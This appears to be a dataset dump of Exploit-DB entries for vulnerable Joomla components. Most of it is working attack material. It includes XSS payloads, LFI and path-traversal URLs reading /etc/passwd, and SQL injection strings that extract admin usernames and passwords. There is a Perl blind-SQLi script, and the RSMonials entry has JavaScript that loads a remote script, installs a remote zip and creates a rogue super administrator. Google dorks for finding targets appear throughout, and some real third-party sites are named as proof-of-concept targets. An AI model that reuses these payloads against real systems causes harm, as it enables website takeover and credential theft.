deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13935
Description: Joomla! Component RSComments 1.0.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-19
Author: jdc

Exploit:
# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS
Vulnerabilities
# Date: 18 May 2010
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5

Name Field Persistent XSS
-------------------------

x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: ONLY executes in backend!

Website Field Persistent XSS
----------------------------

http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: also executes in backend!
Exploit-DB #4307
Description: Joomla! Component RSfiles 1.0.2 - 'path' File Download
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Joomla Component RSfiles <= 1.0.2 (path) Remote File Download Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.rsjoomla.com
# $$      :  10 $
# Dork    :  inurl:"/index.php?option=com_rsfiles"
# DorkEx  :  http://www.google.com.tr/search?hl=tr&q=inurl%3A%22%2Findex.php%3Foption%3Dcom_rsfiles%22&btnG=Ara&meta=

*******************************************************************************

[[Remote File]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_rsfiles&task=files.display&path=[File]

Example:

//index.php?option=com_rsfiles&task=files.display&path=..|index.php
//index.php?option=com_rsfiles&task=files.display&path=..|..| etc..

[[/Remote File]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23]
Exploit-DB #8517
Description: Joomla! Component rsmonials - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-22
Author: jdc

Exploit:
/*
RSMonials XSS Exploit

http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component

Google Dork: allinurl:option=com_rsmonials

Anything entered into the form gets rendered as HTML, so you can add tags
as long as they don't include quotes (magic quotes eats them, if it's on).
This component ships with settings that prevent posting by default, but 
the administrator page for the testimonials renders your script in its entirety.

Proof of Concept 1: Remote file upload

Visit http://target.com/index.php?option=com_rsmonials and post a comment.
At the end of your glowing comment about how awesome the site is, attach this:

<script src=http://badsite.com/evil.js></script>

Now, when your admin goes to the com_rsmonials "Testimonials" page, your 
script will execute. In this example, a hidden iframe loads up the install
page and installs a 'custom' module.

*/

var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
	iframe.src = 'index.php?option=com_installer';
	iframe.setStyle( 'display', 'none' );
	document.body.appendChild( iframe );
	iframe.addEvent( 'load', exploit );
}
function exploit( e )
{
	if( exploited != true )
	{
		var doc = e.target.contentDocument; if( !doc ) return;
		var inp = doc.getElementById( 'install_url' );
		inp.value = 'http://badsite.com/exploit.zip';
		var b = inp.parentNode.getElementsByTagName( 'input' )[1];
		b.onclick();
		exploited = true;
	}
}

/*

Proof of Concept 2: New Super Administrator

Here's a drop-in replacement for the 'exploit' function above:

function exploit( e )
{
	if( exploited != true )
	{
		var newForm = false;
		var doc = e.target.contentDocument; if( !doc ) return;
		var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
		var i = 0;
		for( ; i<nb.length; i++ )
		{
			if( nb[i].parentNode.id == 'toolbar-new' )
			{
				nb[i].onclick();
			}
			else if( nb[i].parentNode.id == 'toolbar-save' )
			{
				doc.getElementById( 'name' ).value = 'hacked';
				doc.getElementById( 'username' ).value = 'hacked';
				doc.getElementById( 'email' ).value = 'your@freemail.com';
				doc.getElementById( 'password' ).value = 'password';
				doc.getElementById( 'password2' ).value = 'password';
				var g = doc.getElementById( 'gid' );
				g.selectedIndex = g.options.length - 1;
				nb[i].onclick();
				exploited = true;
			}
		}
	}
}

If the admin is a Super Admin, then you could be too... just remember to watch
your freemail account for Joomla's account notification!

*/
/* jdc 2009 */

# milw0rm.com [2009-04-22]
Exploit-DB #3565
Description: Joomla! Component RWCards 2.4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2007-03-24
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Joomla Component RWCards <= 2.4.3 Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "index.php?option=com_rwcards"
#[Contact    : :(
#[S.Page     : http://www.weberr.de
#[$$         : Free
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Joomla Component RWCards <= 2.4.3 Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_rwcards&task=listCards&category_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1'union%20select%201,2,03,4,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),50,044,076,0678,07%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)\">/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-24]
Exploit-DB #6817
Description: Joomla! Component RWCards 3.0.11 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-23
Author: Vrs-hCk

Exploit:
[o]------------------------------------------------------------------------------------[x]
 |  Local File Inclusion Vulnerability                                                  |
[o]------------------------------------------------------------------------------------[o]
 |  Software : RWCards 3.0.11 Component for Joomla 1.5 CMS                              |
 |  Vendor   : http://www.weberr.de/                                                    |
 |  Date     : 23 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    inurl:com_rwcards

[Â»] Vulnerable

    ./components/com_rwcards/captcha/captcha_image.php

    15: if (!empty( $_GET['img'] ) )
    16:    $img = $_GET['img'];
    17: else
    18: {
    19:    echo 'no image file specified via &img=...';
    20:    exit;
    21: }
    22:
    23: if (!$fh = fopen( $tmp_dir_path.'cap_'.$img.'.jpg', 'rb'))
    24:    {
    25:        echo 'could not open image file!';
    26:    }
    27: else 
    28: {	
    29:     fpassthru( $fh );
    30:     fclose( $fh );
    31: }    

[Â»] Exploit

    http://[site]/[path]/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

[Â»] Proof of Concept

    http://www.abcdobebe.com/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
    http://www.whiskynet.co.uk/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{, em|nem,   |
 |  loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, terbang_melayang,        |
 |  chawanua, bl4Ck_3n91n3, R3V4N_B4ST4RD, dkk ... c0li.m0de.0n !!!                     |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-23]
Exploit-DB #12082
Description: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
=========================================================================================================


  [o] Joomla Component Saber Cart Local File Inclusion Vulnerability
 
       Software : com_sebercart version 1.0.0.12
       Vendor   : http://www.seber.com.au/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_sebercart&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=========================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #44133
Description: Joomla! Component Saxum Astro 4.0.14 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Saxum Astro 4.0.14 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.saxum2003.hu/
# Software Link: https://extensions.joomla.org/extensions/extension/living/astrology-a-horoscope/saxumastro/
# Software Download: http://www.saxum2003.hu/downloadsen/file/93-astro4.html
# Version: 4.0.14
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7180
# # # # # 
# Exploit Author: Ihsan Sencan
# # # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_saxumastro&view=savedreading&publicid=[SQL]
# 
# JTMxJTI3JTIwJTQxJTRlJTQ0JTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM2JTM2JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTNkJTM2JTM2JTJjJTMxJTI5JTI5JTI5JTI5JTI5JTJkJTJkJTIwJTJk
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_saxumastro&view=interpret&typeid=1&signid=[SQL]
# 
# JTMxJTI5JTIwJTQxJTRlJTQ0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTM2JTM2JTM1JTM1JTIwJTQ2JTUyJTRmJTRkJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQzJTRmJTU1JTRlJTU0JTI4JTJhJTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTM1JTM1JTNkJTM2JTM2JTM1JTM1JTJjJTMxJTI5JTI5JTI5JTJjJTQ2JTRjJTRmJTRmJTUyJTI4JTUyJTQxJTRlJTQ0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTIwJTI4JTM5JTMyJTM3JTMxJTNkJTM5JTMyJTM3JTMx
# 
# # # # #
Exploit-DB #44134
Description: Joomla! Component Saxum Numerology 3.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Saxum Numerology 3.0.4 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.saxum2003.hu/
# Software Link: http://www.saxum2003.hu/en/downloadsen/category/7-saxumnumerology-komponens.html
# Software Download: http://www.saxum2003.hu/downloadsen/file/104-numerology3.html?format=html
# Version: 3.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7177
# # # # # 
# Exploit Author: Ihsan Sencan
# # # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_saxumnumerology&view=savedresult&publicid=[SQL]
# 
# JTMxJTI3JTIwJTQxJTRlJTQ0JTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM2JTM2JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTNkJTM2JTM2JTJjJTMxJTI5JTI5JTI5JTI5JTI5JTJkJTJkJTIwJTJk
# 
# 2)
# <html>
# <body>
# <form action="http://localhost/[PATH]/index.php?option=com_saxumnumerology&view=interpret" method="post">
# <input name="type_id" value="KFNFTEVDVCA2NiBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoQ09OQ0FUX1dTKDB4MjAzYTIwLFVTRVIoKSxEQVRBQkFTRSgpLFZFUlNJT04oKSksKFNFTEVDVCAoRUxUKDY2PTY2LDEpKSksRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==" type="hidden">
# <input type="submit" value="Ver Ayari">
# </form>
# </body>
# </html>
# 
# # # # #
Exploit-DB #44136
Description: Joomla! Component Saxum Picker 3.2.10 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Saxum Picker 3.2.10 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.saxum2003.hu/
# Software Link: https://extensions.joomla.org/extensions/extension/sports-a-games/games/saxumpicker/
# Software Download: http://www.saxum2003.hu/downloadsen/file/97-picker32.html
# Version: 3.2.10
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7178
# # # # # 
# Exploit Author: Ihsan Sencan
# # # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_saxumpicker&view=savedspread&publicid=[SQL]
# 
# JTMxJTI3JTIwJTQxJTRlJTQ0JTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM2JTM2JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTNkJTM2JTM2JTJjJTMxJTI5JTI5JTI5JTI5JTI5JTJkJTJkJTIwJTJk
# 
# # # # #





http://localhost/Joomla375/index.php?option=com_saxumpicker&view=savedspread&publicid=1' AND EXTRACTVALUE(66,CONCAT(0x5c,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66,1)))))-- -
1105 XPATH syntax error: '\root@localhost : joomla375 : 10'
Exploit-DB #17394
Description: Joomla! Component Scriptegrator 1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-13
Author: jdc

Exploit:
# Exploit Title: Scriptegrator plugin for Joomla! 1.5 0day File Inclusion
# Originally Reported: Early 2011
# Independently Discovered: 20 April 2011
# Released: 13 June 2011
# Author: jdc
# Software Link: http://www.greatjoomla.com/extensions/plugins/core-design-scriptegrator-plugin.html
# Version: 1.5.5


``````````````````````````````````````````````````````````````````````````
It looks like this one was reported as in-use by someone else sometime around February (?) 2011:
*	http://www.greatjoomla.com/index.php?option=com_kunena&Itemid=171&func=view&catid=32&id=6310

Local File Inclusion
====================

http://[target]/plugins/system/cdscriptegrator/libraries/highslide/css/cssloader.php?files[]=../../../../../../../../../../../../etc/passwd%00.css

http://[target]/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=../../../../../../../../../../../../etc/passwd%00.js

http://[target]/plugins/system/cdscriptegrator/libraries/jquery/theme/cssloader.php?file=../../../../../../../../../../../../etc/passwd%00.css

http://[target]/plugins/system/cdscriptegrator/libraries/jquery/js/jsloader.php?files[]=../../../../../../../../../../../../etc/passwd%00.js

http://[target]/plugins/system/cdscriptegrator/libraries/jquery/js/ui/jsloader.php?file=../../../../../../../../../../../../etc/passwd%00.js
Exploit-DB #30655
Description: Joomla! Component Search 1.0.13 - SearchWord Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/26031/info

The Joomla! Search component is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Joomla! 1.0.13; other versions may also be vulnerable. 

http://www.example.com/index.php?option=com_search&searchword=';alert('XSS')
Exploit-DB #17646
Description: Joomla! Component Search 3.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-09
Author: NoGe

Exploit:
=========================================================================================
 
  [o] TNR Enhanced Joomla Search <= SQL Injection Vulnerability
  
       Software : com_esearch ver 3.0.0
       Vendor   : http://www.tnrjoomla.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Home     : http://evilc0de.blogspot.com/

=========================================================================================

  [o] Exploit
 
       http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=[SQLi]


  [o] PoC

       http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users--


  [o] Dork

       u all know what the dork is right? :))

=========================================================================================

  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe matthews wishnusakti kaka11 inc0mp13te martfella
       pizzyroot Genex H312Y }^-^{ noname tukulesto

=========================================================================================

  [o] August 07 2011 - Papua, Indonesia
Exploit-DB #13746
Description: Joomla! Component Search Log 3.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: d0lc3

Exploit:
#Exploit Title:		Joomla Component com_searchlog SQL Injection

#Date:			05/06/2010 

#Author:		d0lc3	d0lc3x[at]gmail[dom]com

#Software Link:		http://www.kanich.net/radio/site/searchlog/searchlog-download

#Version:		3.1.0

#Tested on:		Linux ubuntu32 2.6.32-22-generic x64

#Summary:
	

	Good nights, at this occassion  we have other not-saned POST variable on 
	administrator/components/com_searchlog/models/log.php, line 30:
...
$search = $mainframe->getUserStateFromRequest($option . '.search', 'search', '', 'string');	//wtf!?
$this->filter_actid = $mainframe->getUserStateFromRequest($option .'actid','actid',0,'int');
$data->search = JString::strtolower($search);	//wtf!?
$callbase = JRequest::getInt('callbase', 1);
$newact =JRequest::getString('newact');
$data->newact = "";
if ($task=="" and $newact!="") {
$data->newact = $newact;
}if ($task == 'upload' or $task == 'savenew') {
$data->sort = 'dates';
$limitstart = 0;
}else {
$data->sort = JRequest::getVar('sort', 'calls');
}if ($data->search) {
$where[] = "(LOWER( m.call ) LIKE '$data->search%' OR LOWER( m.call ) LIKE '%/$data->search%')"; //likely SQLi
...

	In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header:

http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

	Where [SQLi] = someLogExisting') and 1=1# => true
		       someLogExisting') and 1=2# => false

	UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#



by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i